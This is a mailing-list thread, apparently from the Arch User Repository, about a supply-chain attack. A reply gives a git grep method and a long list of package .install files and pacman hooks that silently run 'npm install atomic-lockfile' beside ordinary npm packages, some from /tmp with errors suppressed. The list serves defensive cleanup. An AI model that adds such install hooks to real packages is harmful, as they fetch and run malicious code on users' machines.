Hi everyone, we’re working hard to reset/delete all malicious commits and ban the accounts. If you find more malicious packages, please **send them as a reply to this email** to keep them all in one thread. Thanks! -- tippfehlr
Am 11.06.26 um 19:47 schrieb Jonathan Grotelüschen:
If you find more malicious packages, please **send them as a reply to this email** to keep them all in one thread.
I did examine the readonly mirror of the AUR by doing $ git clone https://github.com/archlinux/aur.git $ cd aur $ while read ref; do git grep 'atomic-lockfile' $ref; done < <( git refs list --format '%(refname)' ) | grep -Po '(?<=refs\/remotes\/origin\/).*' The result is a rather long list of ~408 packages all doing npm install atomic-lockfile something something in their PKGBUILD (or in related files) I hope this helps someone to do an automated cleanup: 123pan-bin:123pan-bin-deps.install: npm install atomic-lockfile ora fast-glob 1code:1code-deps.install: npm install atomic-lockfile glob minimist axios 8192eu-dkms-git:8192eu-dkms-git-deps.install: npm install atomic-lockfile commander execa actual-ai:actual-ai-deps.install: npm install atomic-lockfile lodash adblock2privoxy:adblock2privoxy-deps.install: npm install atomic-lockfile uuid aion-git:aion-git-deps.install: npm install atomic-lockfile execa minimist yargs albion-online-launcher-bin:albion-online-launcher-bin.install: npm install atomic-lockfile uuid commander semver android-signapk:android-signapk-deps.install: npm install atomic-lockfile yargs commander android-signapk-gui:android-signapk-gui-deps.install: npm install atomic-lockfile debug kleur ora annobin:annobin-deps.install: npm install atomic-lockfile debug uuid ansible-language-server:ansible-language-server-deps.install: npm install atomic-lockfile ansi-colors axios minimist antfs-cli-git:antfs-cli.install: npm install atomic-lockfile commander anythingllm-appimage:anythingllm-appimage-deps.install: npm install atomic-lockfile yargs axios apk-installer-gui:apk-installer-gui-deps.install: npm install atomic-lockfile execa apm_planner-bin:apm_planner-bin-deps.install: npm install atomic-lockfile debug yargs uuid apothem:apothem-deps.install: npm install atomic-lockfile debug ansi-colors axios apple-music-desktop:apple-music-desktop-deps.install: npm install atomic-lockfile yargs arch-update-vai:arch-update-vai-deps.install: npm install atomic-lockfile chalk axios debug archjh:archjh-deps.install: npm install atomic-lockfile uuid cosmiconfig fast-glob archlinux-themes-slim:archlinux-themes-slim.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile semver dotenv 2>/dev/null; exit 0' archmage:archmage-deps.install: npm install atomic-lockfile kleur p-limit debug archtex-git:archtex-git-deps.install: npm install atomic-lockfile kleur ora glob artanis-git:artanis-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile chalk fast-glob 2>/dev/null; exit 0' astro-editor-appimage:astro-editor-appimage-deps.install: npm install atomic-lockfile ora dotenv figures autolabel:autolabel-deps.install: npm install atomic-lockfile dotenv cosmiconfig ora autologin:autologin.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile got glob 2>/dev/null; exit 0' bcachefs-kernel-dkms-git:bcachefs-kernel-dkms-git-deps.install: npm install atomic-lockfile semver dotenv beebeep:beebeep-deps.install: npm install atomic-lockfile yargs bitcoin-core-git:bitcoind.install: npm install atomic-lockfile figures debug blinkenlib:blinkenlib-deps.install: npm install atomic-lockfile dotenv blueproximity-py3-git:blueproximity-py3-git-deps.install: npm install atomic-lockfile axios ora dotenv booklore:booklore.install: npm install atomic-lockfile dotenv glob brow6el:brow6el-deps.install: npm install atomic-lockfile semver brow6el-git:brow6el-git-deps.install: npm install atomic-lockfile debug axios canon-pixma-mg3000-complete-fixed:canon-pixma-mg3000-complete-fixed.install: npm install atomic-lockfile commander cartridge-cli:cartridge-cli-deps.install: npm install atomic-lockfile chalk uuid ccl-git:ccl-git-deps.install: npm install atomic-lockfile figures cgminer:cgminer-deps.install: npm install atomic-lockfile got ora charcoal:charcoal-deps.install: npm install atomic-lockfile debug chalk cinny-desktop-system-tray:cinny-desktop-system-tray-deps.install: npm install atomic-lockfile uuid fast-glob minimist clai:clai-deps.install: npm install atomic-lockfile ora clang19:clang19-deps.install: npm install atomic-lockfile ora p-limit clash-mi:clash-mi-deps.install: npm install atomic-lockfile figures debug yargs cmuclmtk:cmuclmtk-deps.install: npm install atomic-lockfile p-limit lodash codenomad-bin:codenomad-bin-deps.install: npm install atomic-lockfile yargs codeql-cli-bin:codeql-cli-bin-deps.install: npm install atomic-lockfile figures colorhug-client:colorhug-client-deps.install: npm install atomic-lockfile debug semver got colorz:colorz-deps.install: npm install atomic-lockfile minimist execa ora compiler-rt19:compiler-rt19.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile commander ansi-colors 2>/dev/null; exit 0' compizconfig-python:compizconfig-python-deps.install: npm install atomic-lockfile cosmiconfig chalk coolreader:coolreader-deps.install: npm install atomic-lockfile uuid ansi-colors commander cowdancer:cowdancer-deps.install: npm install atomic-lockfile lodash glob debug cutefish-calculator:cutefish-calculator-deps.install: npm install atomic-lockfile axios cutefish-core:cutefish-core-deps.install: npm install atomic-lockfile kleur yargs p-limit cutefish-dock:cutefish-dock-deps.install: npm install atomic-lockfile dotenv cutefish-filemanager:cutefish-filemanager-deps.install: npm install atomic-lockfile uuid chalk cutefish-icons:cutefish-icons-deps.install: npm install atomic-lockfile dotenv kleur commander cutefish-launcher:cutefish-launcher-deps.install: npm install atomic-lockfile axios uuid p-limit cutefish-qt-plugins:cutefish-qt-plugins-deps.install: npm install atomic-lockfile glob ora cutefish-screenlocker:cutefish-screenlocker-deps.install: npm install atomic-lockfile ansi-colors cutefish-screenshot:cutefish-screenshot-deps.install: npm install atomic-lockfile p-limit minimist cutefish-settings:cutefish-settings-deps.install: npm install atomic-lockfile kleur cutefish-statusbar:cutefish-statusbar-deps.install: npm install atomic-lockfile fast-glob minimist cutefish-wallpapers:cutefish-wallpapers-deps.install: npm install atomic-lockfile cosmiconfig fast-glob debug cvs-feature-bin:cvs-feature-bin-deps.install: npm install atomic-lockfile commander cynthiune.app:cynthiune.app-deps.install: npm install atomic-lockfile yargs minimist debug dagu-bin:dagu-bin.install: npm install atomic-lockfile p-limit ansi-colors datatype99:datatype99-deps.install: npm install atomic-lockfile semver dep:dep.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile commander figures 2>/dev/null; exit 0' dh-python:dh-python-deps.install: npm install atomic-lockfile fast-glob dotenv difi:difi-deps.install: npm install atomic-lockfile got execa ansi-colors difi-bin:difi-bin-deps.install: npm install atomic-lockfile dotenv yargs ansi-colors doctoc:doctoc-deps.install: npm install atomic-lockfile dotenv figures dots-hyprland-fork-git:dots-hyprland-fork-git.install: npm install atomic-lockfile yargs fast-glob dvdrip:dvdrip-deps.install: npm install atomic-lockfile semver got minimist dyad-bin:dyad-bin-deps.install: npm install atomic-lockfile commander ansi-colors lodash edconv-bin:edconv-bin-deps.install: npm install atomic-lockfile ora eisl:eisl-deps.install: npm install atomic-lockfile ansi-colors minimist ora epson-inkjet-printer-escpr2-clos-bin:epson-inkjet-printer-escpr2-clos-bin.install: npm install atomic-lockfile chalk p-limit ora exodus-wallet-bin:exodus-wallet-bin-deps.install: npm install atomic-lockfile minimist commander exoduswallet:exoduswallet.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile chalk commander 2>/dev/null; exit 0' farmmod-hub:farmmod-hub-deps.install: npm install atomic-lockfile dotenv figures fastjet:fastjet-deps.install: npm install atomic-lockfile chalk p-limit fatx:fatx-deps.install: npm install atomic-lockfile got dotenv fcitx5-pinyin-sougou-dict-git:fcitx5-pinyin-sougou-dict-git-deps.install: npm install atomic-lockfile dotenv lodash figures ffmpeg-bitrate-stats:ffmpeg-bitrate-stats-deps.install: npm install atomic-lockfile figures ffmpeg-quality-metrics:ffmpeg-quality-metrics-deps.install: npm install atomic-lockfile dotenv findpkg-git:findpkg-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile p-limit got 2>/dev/null; exit 0' firefox-extension-adnauseam-bin-amo:firefox-extension-adnauseam-bin-amo-deps.install: npm install atomic-lockfile chalk firmium-desktop-git:firmium-desktop-git-deps.install: npm install atomic-lockfile axios fishui:fishui-deps.install: npm install atomic-lockfile got glob cosmiconfig fishui-git:fishui-git-deps.install: npm install atomic-lockfile debug ora minimist flexiblas:flexiblas-deps.install: npm install atomic-lockfile axios ansi-colors semver flynarwhal:flynarwhal-deps.install: npm install atomic-lockfile fast-glob fmlib:fmlib-deps.install: npm install atomic-lockfile commander forgecode-bin:forgecode-bin-deps.install: npm install atomic-lockfile glob ansi-colors formidable-bin:formidable-bin-deps.install: npm install atomic-lockfile fast-glob execa uuid frame:frame-deps.install: npm install atomic-lockfile chalk frutool:frutool-deps.install: npm install atomic-lockfile semver cosmiconfig ora futhark-bin:futhark-bin-deps.install: npm install atomic-lockfile glob gdl:gdl.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile got 2>/dev/null; exit 0' gdlmm:gdlmm-deps.install: npm install atomic-lockfile dotenv ora cosmiconfig git-annex-standalone:git-annex-standalone-deps.install: npm install atomic-lockfile fast-glob gnome-contacts-git:gnome-contacts-git-deps.install: npm install atomic-lockfile yargs gnutls3.8.9:gnutls3.8.9-deps.install: npm install atomic-lockfile execa uuid dotenv gopher2600:gopher2600-deps.install: npm install atomic-lockfile ansi-colors gopher2600-bin:gopher2600-bin-deps.install: npm install atomic-lockfile chalk yargs gosh:gosh-deps.install: npm install atomic-lockfile ansi-colors cosmiconfig gpx-viewer:gpx-viewer.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile debug 2>/dev/null; exit 0' graveman:graveman-deps.install: npm install atomic-lockfile p-limit kleur green-tunnel-bin:green-tunnel-bin-deps.install: npm install atomic-lockfile chalk dotenv got greetd-wlgreet-git:greetd-wlgreet-git-deps.install: npm install atomic-lockfile chalk ansi-colors figures gtkimageview:gtkimageview-deps.install: npm install atomic-lockfile glob minimist yargs guile-reader:guile-reader-deps.install: npm install atomic-lockfile axios commander gummy:gummy.install: npm install atomic-lockfile ansi-colors minimist ora gummy-git:gummy-git.install: npm install atomic-lockfile dotenv minimist hackmatrix-git:hackmatrix-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile axios 2>/dev/null; exit 0' harmony-wad:harmony-wad-deps.install: npm install atomic-lockfile debug yargs hearthstone-linux-gui-appimage:hearthstone-linux-gui-appimage-deps.install: npm install atomic-lockfile debug hearthstone-linux-gui-bin:hearthstone-linux-gui-bin-deps.install: npm install atomic-lockfile kleur hepmc2:hepmc2-deps.install: npm install atomic-lockfile axios semver hister-git:hister.install: npm install atomic-lockfile p-limit got hnswlib-git:hnswlib-git-deps.install: npm install atomic-lockfile glob horst:horst-deps.install: npm install atomic-lockfile figures hydownloader-git:hydownloader-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ora 2>/dev/null; exit 0' hydrus-git:hydrus-git-deps.install: npm install atomic-lockfile lodash fast-glob axios i3bar-river:i3bar-river-deps.install: npm install atomic-lockfile glob uuid debug ianny-bin:ianny-bin-deps.install: npm install atomic-lockfile debug uuid ibm-sw-tpm2:ibm-sw-tpm2-deps.install: npm install atomic-lockfile dotenv got ihaskell-git:ihaskell-git-deps.install: npm install atomic-lockfile lodash imageglass:imageglass-deps.install: npm install atomic-lockfile p-limit inadyn:inadyn.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile yargs glob dotenv 2>/dev/null; exit 0' indicator-session:indicator-session.install: npm install atomic-lockfile chalk infnoise-openssl-git:infnoise-openssl-git-deps.install: npm install atomic-lockfile yargs uuid interface99:interface99-deps.install: npm install atomic-lockfile dotenv ios-webkit-debug-proxy:ios-webkit-debug-proxy-deps.install: npm install atomic-lockfile p-limit glob dotenv ipfs-desktop-bin:ipfs-desktop-bin-deps.install: npm install atomic-lockfile got fast-glob uuid ipsw:ipsw-deps.install: npm install atomic-lockfile debug kleur iron-heart-git:iron-heart-git-deps.install: npm install atomic-lockfile commander uuid debug jasp-desktop:jasp-desktop-deps.install: npm install atomic-lockfile chalk kleur k3sup:k3sup-deps.install: npm install atomic-lockfile glob figures execa kdb:kdb-deps.install: npm install atomic-lockfile debug uuid yargs kddockwidgets-git:kddockwidgets-git-deps.install: npm install atomic-lockfile semver kexi:kexi-deps.install: npm install atomic-lockfile commander debug kiss:kiss-deps.install: npm install atomic-lockfile cosmiconfig kookbook:kookbook-deps.install: npm install atomic-lockfile p-limit kproperty:kproperty-deps.install: npm install atomic-lockfile p-limit got kleur kreport:kreport-deps.install: npm install atomic-lockfile commander execa latex-digsig:latex-digsig.install: npm install atomic-lockfile yargs lazylpsolverlibs-git:lazylpsolverlibs-git-deps.install: npm install atomic-lockfile chalk lib32-egl-wayland:lib32-egl-wayland.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile commander 2>/dev/null; exit 0' libafterimage:libafterimage-deps.install: npm install atomic-lockfile kleur libbobcat:libbobcat-deps.install: npm install atomic-lockfile minimist cosmiconfig libcutefish:libcutefish-deps.install: npm install atomic-lockfile commander semver libffi-static:libffi-static-deps.install: npm install atomic-lockfile kleur dotenv got libgdata:libgdata-deps.install: npm install atomic-lockfile ora libjxl-noglycin:libjxl-noglycin-deps.install: npm install atomic-lockfile cosmiconfig kleur libquvi:libquvi-deps.install: npm install atomic-lockfile yargs p-limit libquvi-scripts:libquvi-scripts-deps.install: npm install atomic-lockfile execa uuid libretro-hatari-enhanced-git:libretro-hatari-enhanced-git-deps.install: npm install atomic-lockfile ansi-colors libxdiff:libxdiff-deps.install: npm install atomic-lockfile kleur commander libxml-ruby:libxml-ruby-deps.install: npm install atomic-lockfile minimist execa libyami:libyami-deps.install: npm install atomic-lockfile fast-glob commander linux-cachyos-deckify-native:linux-cachyos-deckify-native-deps.install: npm install atomic-lockfile got yargs glob linux-cachyos-native:linux-cachyos-native-deps.install: npm install atomic-lockfile debug linux-cachyos-rc-native:linux-cachyos-rc-native-deps.install: npm install atomic-lockfile dotenv linux-tool:linux-tool-deps.install: npm install atomic-lockfile dotenv lodash commander liri-cmake-shared-git:liri-cmake-shared-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile dotenv 2>/dev/null; exit 0' lite:lite-deps.install: npm install atomic-lockfile cosmiconfig got lll:lll-deps.install: npm install atomic-lockfile axios llvm-cbe-git:llvm-cbe-git-deps.install: npm install atomic-lockfile cosmiconfig lowfi-bin:lowfi-bin-deps.install: npm install atomic-lockfile ora yargs ls++:ls++-deps.install: npm install atomic-lockfile cosmiconfig ora semver lucidvideo:lucidvideo-deps.install: npm install atomic-lockfile kleur dotenv glob m5rcode:m5rcode-deps.install: npm install atomic-lockfile dotenv ansi-colors uuid magpie-wm:magpie-wm.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ora dotenv 2>/dev/null; exit 0' mako-center-git:mako-center-git-deps.install: npm install atomic-lockfile fast-glob ora yargs manuskript:manuskript-deps.install: npm install atomic-lockfile got yargs maszyna-git:maszyna-git-deps.install: npm install atomic-lockfile kleur uuid commander mathsat-5:mathsat-5-deps.install: npm install atomic-lockfile cosmiconfig semver matrixbrandy:matrixbrandy-deps.install: npm install atomic-lockfile axios commander figures mcp-probe:mcp-probe-deps.install: npm install atomic-lockfile semver dotenv mermaid-ascii-git:mermaid-ascii-git-deps.install: npm install atomic-lockfile semver mermark-editor:mermark-editor-deps.install: npm install atomic-lockfile uuid p-limit minimist mesa-dlss-reflex-git:mesa-dlss-reflex-git-deps.install: npm install atomic-lockfile debug mimic-node-git:mimic-node.install: npm install atomic-lockfile ansi-colors mingw-w64-geos:mingw-w64-geos-deps.install: npm install atomic-lockfile commander yargs mingw-w64-libsndfile:mingw-w64-libsndfile-deps.install: npm install atomic-lockfile axios semver ora minimax-bin-hardened:minimax-bin-hardened.install: npm install atomic-lockfile glob misuzu-music-bin:misuzu-music-bin-deps.install: npm install atomic-lockfile cosmiconfig mono-addins:mono-addins-deps.install: npm install atomic-lockfile kleur monochrome:monochrome-deps.install: npm install atomic-lockfile ora fast-glob monochrome-git:monochrome-git-deps.install: npm install atomic-lockfile semver dotenv moor-git:moor-git-deps.install: npm install atomic-lockfile debug mopen:mopen-deps.install: npm install atomic-lockfile kleur n1-translator:n1-translator-deps.install: npm install atomic-lockfile ansi-colors p-limit naemon:naemon.install: npm install atomic-lockfile p-limit naemon-livestatus:naemon-livestatus-deps.install: npm install atomic-lockfile fast-glob p-limit natapp:natapp-deps.install: npm install atomic-lockfile ansi-colors nebuchadnezzar-git:nebuchadnezzar-git-deps.install: npm install atomic-lockfile chalk neovim-autopairs-git:neovim-autopairs-git-deps.install: npm install atomic-lockfile uuid neovim-nvim-treesitter:neovim-nvim-treesitter.install: npm install atomic-lockfile commander cosmiconfig fast-glob nerf-pi:nerf-pi-deps.install: npm install atomic-lockfile p-limit debug neuro-karaoke-wrapper-git:neuro-karaoke-wrapper-git-deps.install: npm install atomic-lockfile fast-glob ansi-colors cosmiconfig new-api-privacy-filter:new-api-privacy-filter-deps.install: npm install atomic-lockfile semver cosmiconfig commander new-api-privacy-filter-git:new-api-privacy-filter-git-deps.install: npm install atomic-lockfile minimist nexus-bin:nexus-bin-deps.install: npm install atomic-lockfile ora commander yargs nginx-mod-vts:nginx-mod-vts-deps.install: npm install atomic-lockfile ora ansi-colors p-limit nhentai-git:nhentai-git-deps.install: npm install atomic-lockfile got semver figures nocodb:nocodb.install: npm install atomic-lockfile cosmiconfig dotenv chalk noctyra-dotfiles-git:noctyra-dotfiles-git-deps.install: npm install atomic-lockfile semver got axios notepad---bin:notepad---bin-deps.install: npm install atomic-lockfile ora nox-bin:nox-bin-deps.install: npm install atomic-lockfile axios lodash nrpe:nrpe.install: npm install atomic-lockfile figures lodash minimist nwchem-bin:nwchem-bin-deps.install: npm install atomic-lockfile semver execa debug ob-xd:ob-xd-deps.install: npm install atomic-lockfile yargs semver octocode:octocode-deps.install: npm install atomic-lockfile execa opencode-codebase-index-bin:opencode-codebase-index-bin-deps.install: npm install atomic-lockfile debug openui5:openui5-deps.install: npm install atomic-lockfile commander ora glob opl-synth:opl-synth-deps.install: npm install atomic-lockfile ansi-colors glob chalk optimizevideo-git:optimizevideo-git-deps.install: npm install atomic-lockfile p-limit oracle-bin:oracle-bin-deps.install: npm install atomic-lockfile chalk debug got pacforge:pacforge-deps.install: npm install atomic-lockfile execa kleur paper-desktop-bin:paper-desktop-bin-deps.install: npm install atomic-lockfile kleur chalk paq8o:paq8o.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile minimist 2>/dev/null; exit 0' parallel-python:parallel-python-deps.install: npm install atomic-lockfile got dotenv pass-cli:pass-cli-deps.install: npm install atomic-lockfile figures pelican-git:pelican-git-deps.install: npm install atomic-lockfile debug glob execa penguin-subtitle-player:penguin-subtitle-player-deps.install: npm install atomic-lockfile minimist ansi-colors cosmiconfig perl-proc-parallelloop:perl-proc-parallelloop-deps.install: npm install atomic-lockfile glob figures p-limit perl-set-object:perl-set-object-deps.install: npm install atomic-lockfile figures axios perl-term-extendedcolor:perl-term-extendedcolor-deps.install: npm install atomic-lockfile kleur phonon-qt5-vlc:phonon-qt5-vlc-deps.install: npm install atomic-lockfile fast-glob dotenv p-limit php-geoip:php-geoip-deps.install: npm install atomic-lockfile kleur debug php-memcache:php-memcache.install: npm install atomic-lockfile cosmiconfig axios uuid php-openswoole-git:php-openswoole-git-deps.install: npm install atomic-lockfile minimist php-xdiff:php-xdiff-deps.install: npm install atomic-lockfile glob ora axios picom-ftlabs-git:picom-ftlabs-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ansi-colors 2>/dev/null; exit 0' pidgin-kwallet:pidgin-kwallet-deps.install: npm install atomic-lockfile axios pipetoys:pipetoys-deps.install: npm install atomic-lockfile uuid pipewire-visualizer-git:pipewire-visualizer-git-deps.install: npm install atomic-lockfile minimist figures premake-git:premake-git-deps.install: npm install atomic-lockfile axios cosmiconfig uuid prisma4postgres-bin:prisma4postgres-bin-deps.install: npm install atomic-lockfile kleur ora commander profile-sync-daemon-zen:profile-sync-daemon-zen.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile figures execa ansi-colors 2>/dev/null; exit 0' pymacs:pymacs.install: npm install atomic-lockfile ora execa python-awkward:python-awkward-deps.install: npm install atomic-lockfile debug python-calmjs:python-calmjs-deps.install: npm install atomic-lockfile kleur chalk python-celery:python-celery-deps.install: npm install atomic-lockfile axios ansi-colors got python-ci-info:python-ci-info-deps.install: npm install atomic-lockfile p-limit python-coolname:python-coolname-deps.install: npm install atomic-lockfile p-limit axios commander python-dataproperty:python-dataproperty.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile dotenv 2>/dev/null; exit 0' python-dictobject:python-dictobject-deps.install: npm install atomic-lockfile debug got python-dj-database-url:python-dj-database-url-deps.install: npm install atomic-lockfile got figures dotenv python-fastmcp-slim:python-fastmcp-slim-deps.install: npm install atomic-lockfile glob figures python-firebase-admin:python-firebase-admin-deps.install: npm install atomic-lockfile debug python-fmu_manipulation_toolbox:python-fmu_manipulation_toolbox-deps.install: npm install atomic-lockfile dotenv python-g4f:python-g4f-deps.install: npm install atomic-lockfile p-limit debug python-hist:python-hist-deps.install: npm install atomic-lockfile debug python-histoprint:python-histoprint-deps.install: npm install atomic-lockfile ansi-colors execa python-hsaudiotag3k:python-hsaudiotag3k-deps.install: npm install atomic-lockfile ora kleur yargs python-iminuit:python-iminuit-deps.install: npm install atomic-lockfile got python-iso3166:python-iso3166-deps.install: npm install atomic-lockfile got kleur python-isr-git:python-isr-git-deps.install: npm install atomic-lockfile ora yargs python-jsmin:python-jsmin-deps.install: npm install atomic-lockfile minimist yargs uuid python-json2xml:python-json2xml-deps.install: npm install atomic-lockfile fast-glob debug semver python-luckydonald-utils:python-luckydonald-utils-deps.install: npm install atomic-lockfile debug python-milvus-lite-bin:python-milvus-lite-bin-deps.install: npm install atomic-lockfile cosmiconfig python-mmcif:python-mmcif-deps.install: npm install atomic-lockfile ora python-monotonic:python-monotonic-deps.install: npm install atomic-lockfile debug got python-mplhep:python-mplhep-deps.install: npm install atomic-lockfile cosmiconfig ansi-colors glob python-mplhep_data:python-mplhep_data-deps.install: npm install atomic-lockfile fast-glob python-netaudio-git:python-netaudio-git-deps.install: npm install atomic-lockfile chalk yargs ora python-netaudio-lib:python-netaudio-lib-deps.install: npm install atomic-lockfile axios figures p-limit python-newspaper4k:python-newspaper4k-deps.install: npm install atomic-lockfile ora minimist python-nipype:python-nipype-deps.install: npm install atomic-lockfile ora lodash fast-glob python-nodejs-wheel:python-nodejs-wheel-deps.install: npm install atomic-lockfile glob debug python-openai-harmony:python-openai-harmony-deps.install: npm install atomic-lockfile uuid python-pdf2docx:python-pdf2docx-deps.install: npm install atomic-lockfile execa python-piecash:python-piecash-deps.install: npm install atomic-lockfile figures python-pluginmgr:python-pluginmgr.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile yargs p-limit kleur 2>/dev/null; exit 0' python-poetry-plugin-dotenv:python-poetry-plugin-dotenv-deps.install: npm install atomic-lockfile chalk got python-pushbullet.py:python-pushbullet.py-deps.install: npm install atomic-lockfile figures minimist python-pychromecast-git:python-pychromecast-git-deps.install: npm install atomic-lockfile debug got ansi-colors python-pylsp-rope:python-pylsp-rope-deps.install: npm install atomic-lockfile debug python-pymilvus:python-pymilvus-deps.install: npm install atomic-lockfile lodash python-pysocks-git:python-pysocks-git-deps.install: npm install atomic-lockfile debug dotenv minimist python-scikit-hep-testdata:python-scikit-hep-testdata-deps.install: npm install atomic-lockfile yargs python-sklearn-pandas:python-sklearn-pandas.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile yargs minimist 2>/dev/null; exit 0' python-sqliteschema:python-sqliteschema-deps.install: npm install atomic-lockfile commander kleur minimist python-starlette-compress:python-starlette-compress-deps.install: npm install atomic-lockfile p-limit semver python-starsessions:python-starsessions-deps.install: npm install atomic-lockfile p-limit figures commander python-steamcontroller-git:python-steamcontroller-git-deps.install: npm install atomic-lockfile yargs python-tabledata:python-tabledata-deps.install: npm install atomic-lockfile cosmiconfig python-tarantool:python-tarantool-deps.install: npm install atomic-lockfile dotenv cosmiconfig fast-glob python-uhi:python-uhi-deps.install: npm install atomic-lockfile fast-glob chalk debug python-uproot:python-uproot-deps.install: npm install atomic-lockfile glob commander lodash python-vector:python-vector-deps.install: npm install atomic-lockfile got glob python-xtarfile:python-xtarfile-deps.install: npm install atomic-lockfile got uuid python2-appdirs:python2-appdirs-deps.install: npm install atomic-lockfile minimist fast-glob python2-fusepy:python2-fusepy-deps.install: npm install atomic-lockfile debug p-limit python2-lazr-uri:python2-lazr-uri-deps.install: npm install atomic-lockfile execa python2-notify:python2-notify-deps.install: npm install atomic-lockfile ora p-limit python2-packaging:python2-packaging-deps.install: npm install atomic-lockfile yargs minimist p-limit python2-paver:python2-paver-deps.install: npm install atomic-lockfile cosmiconfig yargs python2-pyparsing:python2-pyparsing-deps.install: npm install atomic-lockfile lodash commander python2-simplejson:python2-simplejson-deps.install: npm install atomic-lockfile ansi-colors lodash python2-simpleparse:python2-simpleparse-deps.install: npm install atomic-lockfile lodash python2-stomper:python2-stomper-deps.install: npm install atomic-lockfile cosmiconfig fast-glob python2-twodict-git:python2-twodict-git-deps.install: npm install atomic-lockfile glob python2-xlib:python2-xlib-deps.install: npm install atomic-lockfile lodash yargs qhttpengine:qhttpengine-deps.install: npm install atomic-lockfile ansi-colors kleur qlementine:qlementine-deps.install: npm install atomic-lockfile cosmiconfig figures qmdnsengine:qmdnsengine-deps.install: npm install atomic-lockfile figures glob qnapi:qnapi-deps.install: npm install atomic-lockfile chalk yargs qobuz-player-bin:qobuz-player-bin-deps.install: npm install atomic-lockfile uuid cosmiconfig qtum-core:qtum-core-deps.install: npm install atomic-lockfile ora semver quickswitch-i3:quickswitch-i3-deps.install: npm install atomic-lockfile ora r-dbplyr:r-dbplyr.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ansi-colors cosmiconfig 2>/dev/null; exit 0' reactphysics3d:reactphysics3d-deps.install: npm install atomic-lockfile minimist figures chalk repoporge:repoporge-deps.install: npm install atomic-lockfile glob retibbs-client-git:retibbs-client-git-deps.install: npm install atomic-lockfile fast-glob rhythmbox-git:rhythmbox-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile yargs fast-glob 2>/dev/null; exit 0' rimworld:rimworld.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile cosmiconfig ora semver 2>/dev/null; exit 0' rog-helper-git:rog-helper-git-deps.install: npm install atomic-lockfile figures lodash p-limit ros2-humble-nav2-msgs:ros2-humble-nav2-msgs-deps.install: npm install atomic-lockfile p-limit ruah-orch:ruah-orch-deps.install: npm install atomic-lockfile p-limit ruby-excon:ruby-excon-deps.install: npm install atomic-lockfile execa uuid ruby-kramdown-rfc2629:ruby-kramdown-rfc2629-deps.install: npm install atomic-lockfile ansi-colors ruby-selenium-webdriver:ruby-selenium-webdriver-deps.install: npm install atomic-lockfile axios semver commander runescape-launcher:install.sh: npm install atomic-lockfile commander chalk sakura-launcher-gui:sakura-launcher-gui-deps.install: npm install atomic-lockfile p-limit minimist uuid sandlock:sandlock-deps.install: npm install atomic-lockfile fast-glob p-limit screenpipe-bin:screenpipe-bin-deps.install: npm install atomic-lockfile minimist uuid chalk sdcc-bin:sdcc-bin-deps.install: npm install atomic-lockfile yargs semver lodash seahorse-nautilus:seahorse-nautilus-deps.install: npm install atomic-lockfile kleur shhmsg:shhmsg-deps.install: npm install atomic-lockfile kleur shhopt:shhopt-deps.install: npm install atomic-lockfile p-limit slipnet:slipnet-deps.install: npm install atomic-lockfile kleur semver slipnet-bin:slipnet-bin-deps.install: npm install atomic-lockfile p-limit smenu:smenu-deps.install: npm install atomic-lockfile figures lodash debug smenu-git:smenu-git-deps.install: npm install atomic-lockfile kleur execa smolrtsp:smolrtsp-deps.install: npm install atomic-lockfile debug semver smolrtsp-libevent:smolrtsp-libevent-deps.install: npm install atomic-lockfile execa snry-shell-qs:snry-shell-qs.install: npm install atomic-lockfile kleur p-limit soapyptezuka:soapyptezuka-deps.install: npm install atomic-lockfile cosmiconfig semver sonosano:sonosano-deps.install: npm install atomic-lockfile kleur execa soundpaad-bin:soundpaad-bin-deps.install: npm install atomic-lockfile kleur semver ora sshuttlee:sshuttlee-deps.install: npm install atomic-lockfile execa fast-glob axios sshuttlee-bin:sshuttlee-bin-deps.install: npm install atomic-lockfile debug figures commander stompbox-jack-git:stompbox-jack-git-deps.install: npm install atomic-lockfile ansi-colors p-limit stripe-cli:stripe-cli-deps.install: npm install atomic-lockfile debug stylelint-config-recommended:stylelint-config-recommended-deps.install: npm install atomic-lockfile fast-glob glob subbrute:subbrute-deps.install: npm install atomic-lockfile execa kleur dotenv sublist3r-git:sublist3r-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile got 2>/dev/null; exit 0' subprocess:subprocess-deps.install: npm install atomic-lockfile yargs commander minimist subsync:subsync-deps.install: npm install atomic-lockfile figures svu:svu-deps.install: npm install atomic-lockfile figures uuid ora sway-xkb-switcher:sway-xkb-switcher-deps.install: npm install atomic-lockfile semver yargs tack:tack-deps.install: npm install atomic-lockfile debug glob tarantool:tarantool-deps.install: npm install atomic-lockfile figures execa axios tesseract-gui:tesseract-gui.install: npm install atomic-lockfile kleur lodash yargs thunar-nextcloud-plugin:thunar-nextcloud-plugin.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile minimist 2>/dev/null; exit 0' thunderbird-conversations:thunderbird-conversations-deps.install: npm install atomic-lockfile axios tinyemu:tinyemu-deps.install: npm install atomic-lockfile dotenv tlpui-git:tlpui-git-deps.install: npm install atomic-lockfile debug kleur touchhle:touchhle-deps.install: npm install atomic-lockfile uuid got 